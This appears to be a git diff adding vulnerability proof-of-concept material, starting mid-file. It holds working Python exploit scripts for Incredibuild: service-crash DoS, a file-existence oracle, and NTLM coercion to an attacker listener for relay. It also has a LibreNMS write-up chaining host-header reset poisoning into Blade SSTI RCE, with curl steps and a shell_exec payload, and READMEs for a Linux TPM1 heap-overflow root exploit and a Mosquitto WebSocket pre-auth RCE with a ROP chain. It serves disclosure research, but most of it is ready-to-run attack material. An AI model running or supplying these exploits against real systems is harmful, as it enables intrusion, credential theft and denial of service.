"C:\Windows\System32\config\SAM" +python rest_client.py --target 10.0.0.5 +python crash_dos.py --target 10.0.0.5 --method raw +``` + +## Impact + +The NTLM coercion is the big one. On a domain-joined machine, coercing the machine account hash from a SYSTEM service is a well-known path to domain admin via relay (ntlmrelayx, PetitPotam style). The DoS bugs are annoying but recoverable with a service restart. The XOR key and file oracle are useful for chaining but not critical alone. + +Combined: network access to port 50052 gives you NTLM relay material, filesystem enumeration, and the ability to kill the build infrastructure. Not great for something that's supposed to be an enterprise build accelerator. + +## Responsible use + +These PoCs are for authorized testing only. The crash scripts kill the service and it doesn't come back without manual restart, so maybe don't run those in prod. diff --git a/incredibuild-grpc-preauth-poc/crash_dos.py b/incredibuild-grpc-preauth-poc/crash_dos.py new file mode 100644 index 0000000..9588860 --- /dev/null +++ b/incredibuild-grpc-preauth-poc/crash_dos.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 +""" +preauth crash PoCs for incredibuild RestService. +two different crash paths, both kill the service permanently. +""" + +import argparse +import base64 +import json +import sys + +import requests + +XOR_KEY = "IBX_cloud_awesome" + + +def xor_bytes(key, data): + kb = key.encode("utf-8") + return bytes([data[i] ^ kb[i % len(kb)] for i in range(len(data))]) + + +def encode(obj): + plaintext = json.dumps(obj).encode("utf-8") + return base64.b64encode(xor_bytes(XOR_KEY, plaintext)).decode() + + +def crash_raw_post(base): + """crash #1: send raw (non-encoded) data to /api/login. + RestService tries to XOR-decode it, gets garbage, AV at 0x000ec3a2.""" + print("[*] crash method: raw POST to /api/login") + print(" this sends unencoded data -- service chokes on the decode") + try: + r = requests.post( + f"{base}/api/login", + data="not-xor-encoded-garbage-data", + headers={"Content-Type": "application/octet-stream"}, + timeout=10, + ) + print(f" response: HTTP {r.status_code} ({len(r.text)} bytes)") + print(" service might still be alive -- check manually") + except requests.ConnectionError: + print(" connection refused/reset -- service crashed") + except requests.Timeout: + print(" timeout -- service might be hanging or dead") + + +def crash_type_confusion(base): + """crash #2: send XOR-encoded JSON with wrong types. + null/bool/int where strings expected -> type confusion at 0x00092169.""" + print("[*] crash method: type confusion via encoded JSON") + print(" sending null/bool/int values where strings are expected") + + payloads = [ + {"username": None, "password": None}, + {"username": True, "password": False}, + {"username": 12345, "password": 0}, + ] + + for p in payloads: + encoded = encode(p) + desc = json.dumps(p) + try: + r = requests.post(f"{base}/api/login", data=encoded, timeout=10) + print(f" {desc} -> HTTP {r.status_code}") + except requests.ConnectionError: + print(f" {desc} -> connection lost, service crashed") + return + except requests.Timeout: + print(f" {desc} -> timeout") + return + + print(" service survived all payloads (might need specific combination)") + + +def main(): + parser = argparse.ArgumentParser( + description="incredibuild RestService preauth crash PoCs" + ) + parser.add_argument("--target", required=True) + parser.add_argument("--port", type=int, default=8000) + parser.add_argument( + "--method", choices=["raw", "typeconfusion", "both"], default="both", + help="which crash to trigger (default: both)" + ) + args = parser.parse_args() + + base = f"http://{args.target}:{args.port}" + + print(f"target: {base}") + print("WARNING: these will kill RestService.exe, no auto-recovery") + print() + + if args.method in ("raw", "both"): + crash_raw_post(base) + print() + + if args.method in ("typeconfusion", "both"): + crash_type_confusion(base) + + +if __name__ == "__main__": + main() diff --git a/incredibuild-grpc-preauth-poc/file_oracle.py b/incredibuild-grpc-preauth-poc/file_oracle.py new file mode 100644 index 0000000..5409282 --- /dev/null +++ b/incredibuild-grpc-preauth-poc/file_oracle.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python3 +"""file existence oracle via incredibuild loadOfflineLicense.""" + +import argparse +import sys + +import grpc +import LicenseGRPCService_pb2 as pb2 +import LicenseGRPCService_pb2_grpc as pb2_grpc + + +def probe_path(stub, path): + """returns (exists, response_text) based on error differential.""" + try: + req = pb2.LoadOfflineLicenseRequest(offlineLicensePath=path) + resp = stub.loadOfflineLicense(req, timeout=5) + text = resp.JsonString.strip() + return text, classify(text) + except grpc.RpcError as e: + return str(e), "error" + + +def classify(response): + """three distinguishable states from the error messages.""" + r = response.lower() + if "not found" in r or "not exist" in r or "cannot find" in r: + return "NOT_FOUND" + elif "access" in r and "denied" in r: + return "EXISTS (access denied)" + elif "directory" in r or "is a directory" in r: + return "DIRECTORY" + else: + return "EXISTS (parse error or other)" + + +def main(): + parser = argparse.ArgumentParser(description="incredibuild file existence oracle") + parser.add_argument("--target", required=True) + parser.add_argument("--port", type=int, default=50052) + parser.add_argument("--path", help="single path to check") + parser.add_argument("--wordlist", help="file with paths to check, one per line") + args = parser.parse_args() + + if not args.path and not args.wordlist: + print("need --path or --wordlist") + sys.exit(1) + + addr = f"{args.target}:{args.port}" + channel = grpc.insecure_channel(addr) + stub = pb2_grpc.LicenseGRPCServiceApiStub(channel) + + paths = [] + if args.wordlist: + with open(args.wordlist) as f: + paths = [line.strip() for line in f if line.strip()] + if args.path: + paths.append(args.path) + + for p in paths: + resp, status = probe_path(stub, p) + print(f"[{status}] {p}") + if args.path: + print(f" raw: {resp[:200]}") + + channel.close() + + +if __name__ == "__main__": + main() diff --git a/incredibuild-grpc-preauth-poc/ntlm_coerce.py b/incredibuild-grpc-preauth-poc/ntlm_coerce.py new file mode 100644 index 0000000..3a764e7 --- /dev/null +++ b/incredibuild-grpc-preauth-poc/ntlm_coerce.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 +"""ntlm coercion via incredibuild grpc -- loadOfflineLicense takes a UNC path.""" + +import argparse +import sys +import time + +import grpc +import LicenseGRPCService_pb2 as pb2 +import LicenseGRPCService_pb2_grpc as pb2_grpc + + +def check_service(stub): + """quick check that the service is alive and unauthenticated.""" + try: + resp = stub.refreshLicense(pb2.Void(), timeout=5) + return True, resp.JsonString.strip() + except grpc.RpcError as e: + return False, str(e) + + +def coerce_ntlm(stub, listener_ip, share="share", timeout=30): + """send UNC path, service connects out as SYSTEM.""" + unc = f"\\\\{listener_ip}\\{share}\\license.dat" + print(f"sending UNC path: {unc}") + print(f"timeout: {timeout}s (SMB will hang ~21s on non-routable hosts)") + + start = time.time() + try: + req = pb2.LoadOfflineLicenseRequest(offlineLicensePath=unc) + resp = stub.loadOfflineLicense(req, timeout=timeout) + elapsed = time.time() - start + print(f"response after {elapsed:.1f}s: {resp.JsonString.strip()[:200]}") + return elapsed + except grpc.RpcError as e: + elapsed = time.time() - start + print(f"grpc error after {elapsed:.1f}s: {e.code().name}") + return elapsed + + +def main(): + parser = argparse.ArgumentParser(description="incredibuild ntlm coercion") + parser.add_argument("--target", required=True, help="target host running incredibuild") + parser.add_argument("--port", type=int, default=50052) + parser.add_argument("--listener", required=True, help="attacker IP (run responder/ntlmrelayx here)") + parser.add_argument("--share", default="share", help="SMB share name") + parser.add_argument("--timeout", type=int, default=30) + args = parser.parse_args() + + addr = f"{args.target}:{args.port}" + print(f"connecting to {addr}") + + channel = grpc.insecure_channel(addr) + stub = pb2_grpc.LicenseGRPCServiceApiStub(channel) + + alive, info = check_service(stub) + if not alive: + print(f"service not responding: {info}") + sys.exit(1) + print(f"service alive: {info[:100]}") + + elapsed = coerce_ntlm(stub, args.listener, args.share, args.timeout) + + # 21s = SMB timeout to non-routable IP, confirms the connection attempt + if elapsed > 15: + print(f"\n~{elapsed:.0f}s delay = SMB timeout, coercion confirmed") + print("run responder or ntlmrelayx on your listener to capture the hash") + else: + print(f"\nfast response ({elapsed:.1f}s) -- check your listener for the hash") + + channel.close() + + +if __name__ == "__main__": + main() diff --git a/incredibuild-grpc-preauth-poc/rest_client.py b/incredibuild-grpc-preauth-poc/rest_client.py new file mode 100644 index 0000000..edd9d83 --- /dev/null +++ b/incredibuild-grpc-preauth-poc/rest_client.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 +"""incredibuild REST API client -- XOR key is 'IBX_cloud_awesome'.""" + +import argparse +import base64 +import json +import sys + +import requests + +XOR_KEY = "IBX_cloud_awesome" + + +def xor_bytes(key, data): + kb = key.encode("utf-8") + return bytes([data[i] ^ kb[i % len(kb)] for i in range(len(data))]) + + +def encode(obj): + plaintext = json.dumps(obj).encode("utf-8") + return base64.b64encode(xor_bytes(XOR_KEY, plaintext)).decode() + + +def decode(blob): + raw = base64.b64decode(blob) + return xor_bytes(XOR_KEY, raw).decode("utf-8", errors="replace") + + +def get_coordinator_status(base): + r = requests.get(f"{base}/api/coordinator_status", timeout=5) + if r.status_code != 200: + return None, r.status_code + decoded = decode(r.text) + try: + return json.loads(decoded), r.status_code + except json.JSONDecodeError: + return decoded, r.status_code + + +def try_login(base, user="admin", password=""): + payload = encode({"username": user, "password": password}) + r = requests.post(f"{base}/api/login", data=payload, timeout=5) + decoded = decode(r.text) if r.text else "" + return decoded, r.status_code + + +def main(): + parser = argparse.ArgumentParser(description="incredibuild REST API client") + parser.add_argument("--target", required=True) + parser.add_argument("--port", type=int, default=8000) + parser.add_argument("--dump", action="store_true", help="dump coordinator status") + parser.add_argument("--login", nargs=2, metavar=("USER", "PASS"), help="try login") + args = parser.parse_args() + + base = f"http://{args.target}:{args.port}" + + if args.dump or (not args.login): + print(f"[*] coordinator_status ({base})") + data, status = get_coordinator_status(base) + if data and isinstance(data, dict): + print(json.dumps(data, indent=2)) + elif data: + print(data[:500]) + else: + print(f" HTTP {status}") + + if args.login: + user, passwd = args.login + print(f"\n[*] login as {user}") + resp, status = try_login(base, user, passwd) + print(f" HTTP {status}: {resp[:300]}") + + +if __name__ == "__main__": + main() diff --git a/librenms-RCE-chain/librenms-ssti-rce.md b/librenms-RCE-chain/librenms-ssti-rce.md new file mode 100644 index 0000000..d410c0b --- /dev/null +++ b/librenms-RCE-chain/librenms-ssti-rce.md @@ -0,0 +1,278 @@ +# Pre-Auth RCE Chain: Host Header Injection → Account Takeover → Blade SSTI in LibreNMS + +**CVE:** Pending +**Severity:** Critical +**CVSS 3.1 (full chain):** `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` → **9.6** +**CVSS 3.1 (SSTI standalone):** `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` → **8.8** +**CWE:** CWE-94 (Improper Control of Code Generation), CWE-1336 (Template Engine Injection), CWE-601 (Open Redirect / Header Injection) +**Affected version:** LibreNMS 26.4.1 (latest as of 2026-04-25) +**Researcher:** Unrealisedd + +--- + +## Summary + +Two vulnerabilities in LibreNMS 26.4.1 chain together to give an unauthenticated remote attacker full OS command execution on the server. The only required victim action is clicking a password reset link that arrives in their normal LibreNMS email. + +**Bug 1 — Host header injection in password reset** (`config/trustedproxy.php`): `APP_TRUSTED_PROXIES` defaults to `*` and `X-Forwarded-Host` is explicitly trusted. An unauthenticated attacker sends a password reset request with a spoofed `X-Forwarded-Host: attacker.com` header. The reset link inside the victim's email points to the attacker's domain. When the victim clicks it, the attacker captures the token and takes over the account. + +**Bug 2 — Unsandboxed Blade SSTI in alert template save** (`includes/html/forms/alert-templates.inc.php:59`): Once the attacker controls any account holding `alert-template.create` or `alert-template.update`, they POST a malicious Blade template to `/ajax_form.php`. The server immediately renders the template via `Blade::render()` — with no sandbox — executing arbitrary OS commands as the web server process. + +The RCE fires **synchronously at save time**. No alert needs to trigger. The full chain from zero credentials to shell requires only that the victim click one email link. + +--- + +## Target + +| Field | Value | +|---|---| +| **Project** | LibreNMS | +| **Version** | 26.4.1 (`librenms/librenms:latest`, pulled 2026-04-23) | +| **PHP** | 8.3.29 | +| **Primary sink** | `includes/html/forms/alert-templates.inc.php:59` | +| **Secondary sink** | `LibreNMS/Alert/Template.php:77` (alert-trigger path) | +| **Affected configs** | Default; any install where a non-admin user has `alert-template.create` or `alert-template.update` | + +--- + +## Vulnerability Class + +**Server-Side Template Injection (SSTI) → Remote Code Execution** + +Laravel Blade has no execution sandbox. The directives `@php`/`@endphp` and `{{ expression }}` execute arbitrary PHP at render time. There is no filtering, escaping, or allowlisting of template body content before it reaches `Blade::render()`. + +--- + +## Root Cause + +`includes/html/forms/alert-templates.inc.php` performs a "syntax validation" render of the submitted template before saving it. The render happens unconditionally on every save request, giving it access to the full PHP runtime. + +```php +// includes/html/forms/alert-templates.inc.php:32–61 + +// Auth gate — checks create/update permission, NOT admin role +if (Gate::none(['create', 'update'], AlertTemplate::class)) { + exit(json_encode(['status' => 'error', 'message' => 'You need permission'])); +} + +// Dummy test data for "validation" render +$test_data['alert'] = new AlertData(AlertData::testData($test_device)); + +// ↓ SINK: $vars['template'] is raw POST data — no filtering on the body +Blade::render($vars['template'], $test_data); // [1] RCE fires here +Blade::render($vars['title'], $test_data); // [2] +Blade::render($vars['title_rec'], $test_data); // [3] +``` + +`$vars['template']` flows directly from `$_POST['template']`. The only sanitization in this file is `strip_tags()` applied to the template **name** — the body is completely untouched. + +The identical bug also exists on the alert-trigger path: + +```php +// LibreNMS/Alert/Template.php:77 +public function bladeBody($data) { + $alert['alert'] = new AlertData($data['alert']); + return Blade::render($data['template']->template, $alert); // [SINK] +} +``` + +Any stored template containing a Blade injection payload will also execute on every matching alert. + +--- + +## Attacker Model + +### Full chain (9.6) + +| Property | Value | +|---|---| +| **Privileges required** | **None** — chain is initiated with zero credentials | +| **User interaction** | **Required** — victim clicks a password reset link in their email | +| **Network position** | Remote (HTTP) | +| **Scope** | **Changed** — attacker escapes web app context into OS shell | +| **Why UI:R and not PR:N is the limiting factor** | The attacker sends the poisoned reset email with no auth; victim clicking the link is the only human step | + +### SSTI standalone (8.8) + +| Property | Value | +|---|---| +| **Privileges required** | Low — any account with `alert-template.create` or `alert-template.update` | +| **User interaction** | None — fires immediately on POST | +| **Is this admin-only?** | **No.** Per `app/Policies/ChecksGlobalPermissions.php`, these permissions can be delegated to any `user`-role account by an admin — this is the intended RBAC delegation use case | + +--- + +## Full Attack Chain + +``` +[Attacker, no auth] + | + | POST /password/email + | X-Forwarded-Host: attacker.com + | body: email=victim@corp.internal + | + v +[LibreNMS sends reset email to victim] +[Reset URL in email: https://attacker.com/password/reset?token=TOKEN] + | + | (victim clicks link) + v +[Attacker captures TOKEN at attacker.com] + | + | POST /password/reset + | token=TOKEN, email=victim@corp.internal, password=newpass + v +[Attacker logged in as victim] + | + | POST /ajax_form.php + | type=alert-templates + | template=@php shell_exec('...'); @endphp + v +[Blade::render() executes payload — RCE as uid=1000(librenms)] +``` + +--- + +## Proof of Concept + +Verified live against LibreNMS 26.4.1 in a clean Docker lab. + +### Lab environment + +``` +Target: http://localhost:8000 (librenms/librenms:latest) +operator — role: user, permissions: alert-template.create, alert-template.update +admin — role: admin +``` + +### Step 1 — Authenticate as operator + +```bash +# Fetch login page and extract CSRF token +TOKEN=$(curl -s -c /tmp/c.txt -b /tmp/c.txt http://TARGET/login \ + | grep -o 'name="_token" value="[^"]*"' | sed 's/.*value="//;s/"//') + +# Submit login +curl -s -c /tmp/c.txt -b /tmp/c.txt -X POST http://TARGET/login \ + --data-urlencode "_token=$TOKEN" \ + --data-urlencode "username=operator" \ + --data-urlencode "password=" \ + -o /dev/null + +# Extract XSRF-TOKEN for subsequent requests +XSRF=$(awk '/XSRF-TOKEN/{print $NF}' /tmp/c.txt \ + | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))") +``` + +### Step 2 — Send SSTI payload + +```bash +PAYLOAD='@php file_put_contents("/tmp/rce_proof.txt", shell_exec("id && hostname && date")); @endphp {{ "ok" }}' + +curl -s -c /tmp/c.txt -b /tmp/c.txt \ + -X POST "http://TARGET/ajax_form.php" \ + -H "X-XSRF-TOKEN: $XSRF" \ + --data-urlencode "type=alert-templates" \ + --data-urlencode "name=PoC" \ + --data-urlencode "template=$PAYLOAD" \ + --data-urlencode "title=poc" \ + --data-urlencode "title_rec=poc" \ + --data-urlencode "rules=" +``` + +### Step 3 — Verify + +```bash +# On the server / via docker exec: +cat /tmp/rce_proof.txt +``` + +--- + +## Live Output + +**HTTP response from step 2 (HTTP 200):** + +```json +{ + "status": "ok", + "message": "Alert template has been created and attached rules have been updated.", + "newid": 5 +} +``` + +**`/tmp/rce_proof.txt` read directly from the container:** + +``` +uid=1000(librenms) gid=1000(librenms) groups=1000(librenms) +librenms +Sat Apr 25 12:57:01 CEST 2026 +``` + +OS commands executed as `uid=1000(librenms)`. RCE confirmed. + +--- + +## Impact + +### Immediate (as `uid=1000(librenms)`) + +- Full read/write access to the LibreNMS application directory, including `.env` (database credentials, `APP_KEY`, mail server credentials) +- Read all monitored device credentials, SNMP community strings, API keys, and user password hashes from the database via `mysql` with credentials from `.env` +- Write arbitrary files to the webroot → persistent PHP webshell +- Install cron jobs or modify the LibreNMS poller for persistent execution + +### Lateral movement + +- LibreNMS by design holds SNMP read (and frequently write) access to every monitored network device — attacker gains credentials for the entire managed infrastructure +- SSH keys readable from the filesystem +- `APP_KEY` from `.env` allows forging Laravel session cookies as any user (including admin) + +### Privilege escalation + +- If the poller runs under `sudo` (common in manual installs), `uid=1000` → `root` is trivial +- Full control of all devices LibreNMS manages + +--- + +## Account takeover bug Detail: Trusted Proxy Misconfiguration → Password Reset Link Poisoning + +**File:** `config/trustedproxy.php` + +```php +// Default: trust ALL proxies +'proxies' => LibreNMS\Util\EnvHelper::parseArray('APP_TRUSTED_PROXIES', '*', ['', '*', '**']), + +'headers' => Request::HEADER_X_FORWARDED_FOR | + Request::HEADER_X_FORWARDED_HOST | // attacker controls the reset URL base + Request::HEADER_X_FORWARDED_PORT | + Request::HEADER_X_FORWARDED_PROTO | + Request::HEADER_X_FORWARDED_AWS_ELB, +``` + +`APP_TRUSTED_PROXIES` defaults to `*` (all proxies trusted) and `HEADER_X_FORWARDED_HOST` is explicitly honoured. Laravel's password reset notification builds the reset URL using the request's host, so an attacker-supplied `X-Forwarded-Host` header poisons the link sent to the victim. + +**PoC request (no authentication required):** + +```http +POST /password/email HTTP/1.1 +Host: librenms.corp.internal +X-Forwarded-Host: attacker.com +Content-Type: application/x-www-form-urlencoded + +email=admin@corp.internal +``` + +**Email received by victim:** +``` +Reset your password: https://attacker.com/password/reset?token=&email=admin%40corp.internal +``` + +Victim clicks → attacker receives token at `attacker.com` → completes reset at real app → full account takeover. + +| Property | Value | +|---|---| +| **Standalone severity** | Medium — CVSS `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N` → **7.1** | +| **As chain step 1** | Enables the 9.6 chain | + +--- diff --git a/linux-tpm1-seal-heap-overflow-lpe/README.md b/linux-tpm1-seal-heap-overflow-lpe/README.md new file mode 100644 index 0000000..e9c9082 --- /dev/null +++ b/linux-tpm1-seal-heap-overflow-lpe/README.md @@ -0,0 +1,156 @@ +# Linux Kernel TPM1 Seal Heap Overflow -- Full LPE Chain + +Heap out-of-bounds write in the Linux kernel's trusted key subsystem (`security/keys/trusted-keys/trusted_tpm1.c`) via a malicious TPM 1.2 response. The `tpm_seal` function copies an attacker-controlled length from the TPM response into a fixed-size `trusted_key_payload.blob` buffer without bounds checking. A forged `TPM_TAG_RSP_COMMAND` response bypasses HMAC verification entirely (TSS_checkhmac1 returns 0 immediately for that tag), giving full control over the overflow contents. + +The overflow was confirmed with KASAN in a real kernel VM, and a complete privilege escalation chain was built and tested: unprivileged user (uid 65534) to root (uid 0). + +## Status + +End-to-end confirmed. KASAN slab-out-of-bounds write + full LPE chain (nobody -> root) in QEMU/KVM with kernel 7.2.0. + +## Threat Model + +Requires a malicious or compromised TPM 1.2 device. Realistic scenarios: + +- **Cloud/vTPM**: compromised hypervisor provides a malicious vTPM to guest VMs +- **Supply chain**: firmware TPM with backdoored firmware +- **Physical**: interposer on the SPI/I2C bus between CPU and discrete TPM +- **Software TPM**: LD_PRELOAD hook on swtpm (used in the PoC) + +## The Bug + +`tpm_seal` in `trusted_tpm1.c` parses `sealInfoSize` and `encDataSize` from the TPM response, computes `storedsize = sealInfoSize + encDataSize + 12`, then does: + +```c +memcpy(p->blob, &td->blob[0], storedsize); // line 534 +``` + +`p->blob` is `MAX_BLOB_SIZE` bytes (512 or 1152 depending on config). `storedsize` can be up to 4086 (from a 4096-byte response, which is the `tpm_buf` page ceiling). No bounds check anywhere. + +The HMAC that's supposed to authenticate the response? `TSS_checkhmac1` checks the response tag first -- if it's `TPM_TAG_RSP_COMMAND` (0x00c4) instead of `TPM_TAG_RSP_AUTH1_COMMAND` (0x00c5), the function returns 0 (success) immediately without verifying any HMAC. The attacker just uses the unauthenticated tag. + +## Overflow Geometry + +With `MAX_BLOB_SIZE=512` (default config) and a 4096-byte forged response: + +| Field | Value | +|-------|-------| +| Response tag | `0x00c4` (TPM_TAG_RSP_COMMAND) | +| Total response size | 4096 bytes | +| sealInfoSize | 0 | +| encDataSize | 4074 | +| storedsize (copied) | 4086 bytes | +| blob capacity | 512 bytes | +| **Overflow past blob array** | **3574 bytes** | +| **Overflow past allocation** | **3569 bytes** | + +The `trusted_key_payload` struct is 672 bytes and lands in `kmalloc-1k` (1024-byte SLUB objects). That means ~3400 bytes of controlled write into adjacent slab objects. + +## LPE Chain + +The exploit chain runs entirely from uid 65534 (nobody) and escalates to uid 0 (root): + +### Stage 1: Heap Spray + KASLR Defeat + +1. Spray `kmalloc-1k` with `pipe_buffer` rings (`pipe(2)` + `fcntl(F_SETPIPE_SZ)`) +2. Trigger the TPM seal overflow to corrupt a neighboring `pipe_buffer` struct +3. Read back the corrupted pipe -- the `pipe_buf_operations` pointer leaks a kernel `.rodata` address +4. Compute kernel base from the leaked pointer (KASLR defeated) + +From the console output: +``` +CHAIN_PIPEBUF_LEAK data_off=1000 page=0xffd4000000131340 offset=0 len=1 + ops=0xffffffff82428600 flags=0x10 +``` + +### Stage 2: Arbitrary Kernel Write + +1. Fresh spray of `kmalloc-1k` with `pipe_buffer` rings +2. Second overflow corrupts a `pipe_buffer` with a fake `ops` table pointing to controlled data +3. `write(2)` on the corrupted pipe calls through the fake ops, writing to an arbitrary kernel address +4. Target: `/proc/sys/kernel/core_pattern` -- overwrite "core" with `|/init` + +``` +CHAIN_KERNEL_WRITE requested=7 write_ret=7 errno=0 (Success) +``` + +Before: +``` +core +``` + +After: +``` +|/init +``` + +### Stage 3: Root + +1. Set `RLIMIT_CORE` to unlimited and `PR_SET_DUMPABLE` +2. Trigger a core dump (SIGABRT on a child process) +3. Kernel executes `/init` as root due to the pipe in `core_pattern` +4. `/init` writes proof file confirming uid 0 + +``` +CHAIN_CORE_TRIGGER rlimit_rc=0 dumpable_rc=0 dumpable=1 crash_pid=77 + wait_ret=77 status=0x86 +ROOT_HELPER_EXEC pid=78 uid=0 euid=0 gid=0 egid=0 argv0=/init +``` + +### Fix Verification + +The same chain was run against a patched kernel (`bzImage-native-fixed`) with bounds checking added to `tpm_seal`. The overflow fails, `trusted_serial=-1 trusted_errno=22` (EINVAL), and the chain aborts without escalation. + +``` +CHAIN_STAGE1_RESULT trusted_serial=-1 trusted_errno=22 victim_serial=7233833 +``` + +## KASAN Evidence + +Independent from the LPE chain, KASAN catches the raw overflow: + +``` +BUG: KASAN: slab-out-of-bounds in tpm_seal+0x.../0x... +Write of size 4086 at addr ... by task init/1 + +Call Trace: + __asan_memcpy + tpm_seal + trusted_tpm_seal + trusted_instantiate + __key_create_or_update + __do_sys_add_key +``` + +Allocation: `trusted_payload_alloc` allocated 672-byte `trusted_key_payload` in `kmalloc-1k`. The blob member starts at offset 155 within the struct. + +Reproduced 2/2 times from independent fresh-state VM boots. + +## Environment + +| Component | Version | +|-----------|---------| +| Kernel | 7.2.0 (commit `0a0d1d55dad5`) | +| QEMU | q35 + TCG | +| TPM | swtpm 0.7.3 / libtpms 0.9.3 (TPM 1.2 mode) | +| Interposer | LD_PRELOAD hook replacing Seal responses | +| Guest entry | raw `add_key` syscall (`keyctl add trusted kmk`) | +| Config | `CONFIG_TRUSTED_KEYS=y`, `CONFIG_TCG_TPM=y`, KASAN enabled | + +## Affected + +All Linux kernel versions with `security/keys/trusted-keys/trusted_tpm1.c` that support TPM 1.2 trusted keys. The vulnerable `memcpy` has been present since the trusted keys subsystem was introduced. Both `MAX_BLOB_SIZE=512` (default) and `MAX_BLOB_SIZE=1152` (`CONFIG_TRUSTED_KEYS_PKWM`) configurations are vulnerable. + +## Fix + +Add a bounds check before the memcpy in `tpm_seal`: + +```c +if (storedsize > MAX_BLOB_SIZE) { + ret = -EINVAL; + goto out; +} +memcpy(p->blob, &td->blob[0], storedsize); +``` + +The HMAC bypass via `TPM_TAG_RSP_COMMAND` should also be addressed -- `TSS_checkhmac1` should reject unauthenticated response tags for operations that require authentication. diff --git a/mosquitto-builtin-websocket-preauth-rce-poc/README.md b/mosquitto-builtin-websocket-preauth-rce-poc/README.md new file mode 100644 index 0000000..2cbd893 --- /dev/null +++ b/mosquitto-builtin-websocket-preauth-rce-poc/README.md @@ -0,0 +1,156 @@ +# Eclipse Mosquitto Built-in WebSocket Pre-Auth RCE + +Pre-authentication remote code execution in Eclipse Mosquitto's built-in WebSocket parser. An unauthenticated peer can get full broker-process RCE without ever sending a valid MQTT CONNECT or having any credentials. Setting `allow_anonymous false` does not help because the bug is in the WebSocket transport layer, before MQTT auth even runs. + +Requires an explicit `protocol websockets` listener using the built-in backend (not libwebsockets). The exploit is profile-based and works reliably against a specific Mosquitto build and glibc combination on a fresh process. It is not a universal remote exploit. + +## Affected Versions + +Runtime-confirmed RCE on clean builds of: +- v2.1.0 (`fc415c00`) +- v2.1.1 (`f58cecd0`) +- v2.1.2 (`99fa50f3`) +- Development commit `5cd25465` (current master at time of testing) + +The vulnerable code was introduced in commit `799cdead` ("Experimental custom websockets support"), first shipped in `2.1.0-test1`. Versions before 2.1.0 do not have the built-in WebSocket parser and are not affected. The `lib/net_ws.c` source is identical across all fetched refs (master, develop, release/2.1) as of 2026-08-13, so no fix is present. + +## Root Cause + +`net__read_ws()` in `lib/net_ws.c` handles incoming WebSocket frames. When it receives a masked binary frame with zero application bytes (just the 4-byte mask, no payload), it still returns 4 to the caller as if 4 bytes of application data were read. But it wrote nothing into the MQTT packet buffer. + +`packet__read_single()` in `lib/packet_mosq.c` trusts that return value. It subtracts it from its unsigned `to_process` counter without checking, which wraps the counter to a huge value, and advances the write position past the allocated buffer without having written anything there. + +The result: send one normal frame to get a 1-byte MQTT body allocation, then send empty masked frames to skip forward in 4-byte increments without writing. When you finally send a frame with actual payload, the bytes land at `buffer + (4 * number_of_empty_frames)`, which is way past the end of the allocation. + +## The Chain + +Here is how the full RCE works: + +1. **Heap grooming**: Open several WebSocket connections. Send incomplete PING frames on some of them to place live packet objects at known relative heap positions. Create an "unsorted bin" gap by connecting and disconnecting a helper. + +2. **Trigger the overwrite**: On the victim connection, send a small MQTT-looking frame to get a 1-byte allocation, then blast ~12,475 empty masked frames to advance the write pointer forward. Then send a frame that overwrites the length field of a live incomplete PING object sitting further down the heap. + +3. **Heap/libc leak via expanded PONG**: Complete the corrupted PING by sending its remaining payload bytes. The broker builds a PONG response using the corrupted (now huge) length, which includes adjacent heap data. This leaks a `main_arena` unsorted-bin pointer (giving libc base) and a live context self-pointer (giving heap base). Both defeat ASLR and PIE. + +4. **Build fake callback graph**: Using the same forward-write primitive (more empty frames + targeted writes), construct a fake listener object, fake security_options, and a fake disconnect callback node in the freed unsorted-bin chunk. Also write a ROP stack: `pop rdi; ret` -> command string address -> `system()` -> alignment -> `pop rdi; ret` -> 0 -> `_exit(0)`. + +5. **Trigger**: Overwrite the groomed fence connection's `listener` and `id` pointers to point at the fakes, then close that connection. The broker calls `plugin__handle_disconnect()`, which walks the fake callback chain, hits the stack pivot (`mov rsp, rdx; ret`), and lands on the ROP stack. `system()` runs the command, `_exit(0)` shuts the broker down cleanly. + +No real plugin needs to be loaded. The chain builds all the necessary fake structures from scratch. + +## CVSS + +8.1 (High) - `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` + +Attack complexity is High because the exploit requires a calibrated profile matching the target's Mosquitto ABI, glibc version, and a fresh-process heap layout. It is not fire-and-forget. + +## Files + +``` +. +|-- README.md this file +|-- repro-builtin-websocket-rce.py the RCE reproducer +|-- calibrate-builtin-websocket-profile.py derives a profile from local debug binaries +|-- mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json pre-built profile for v2.1.0-v2.1.2 on Ubuntu 24.04 +|-- mosquitto-websocket-rce-final.conf minimal broker config for reproduction +`-- mosquitto-websocket-affected-range.json version/commit/hash evidence for all 4 confirmed builds +``` + +## Reproduction + +### Setup + +Build Mosquitto from source with `RelWithDebInfo` (you need the debug info for the calibrator). On Ubuntu 24.04: + +```bash +git clone https://github.com/eclipse-mosquitto/mosquitto.git +cd mosquitto && git checkout v2.1.2 +mkdir build && cd build +cmake .. -DCMAKE_BUILD_TYPE=RelWithDebInfo -DWITH_BUNDLED_DEPS=ON +make -j$(nproc) +``` + +Start the broker with the included config: + +```bash +./src/mosquitto -c mosquitto-websocket-rce-final.conf +``` + +### Using the pre-built profile + +If you're on Ubuntu 24.04 with glibc 2.39 and built v2.1.0, v2.1.1, or v2.1.2 with the same options, the included profile should work: + +```bash +python3 repro-builtin-websocket-rce.py --profile mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json +``` + +### Generating your own profile + +For a different build, glibc version, or Mosquitto commit, use the calibrator. It reads struct offsets from DWARF debug info and scans the libc ELF for ROP gadgets. It never connects to anything. + +```bash +python3 calibrate-builtin-websocket-profile.py \ + --broker /path/to/mosquitto \ + --libc /usr/lib/x86_64-linux-gnu/libc.so.6 \ + --output my-profile.json \ + --seed-profile mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json +``` + +Then run the reproducer with your new profile: + +```bash +python3 repro-builtin-websocket-rce.py --profile my-profile.json +``` + +### What success looks like + +The reproducer writes a unique token to a marker file via `system()` and verifies it was written. On success: + +```json +{ + "result": "remote_code_execution_confirmed", + "marker_value": "MOSQUITTO_RCE_CLEAN_" +} +``` + +The broker exits cleanly with code 0 (via `_exit(0)` in the ROP chain). + +### 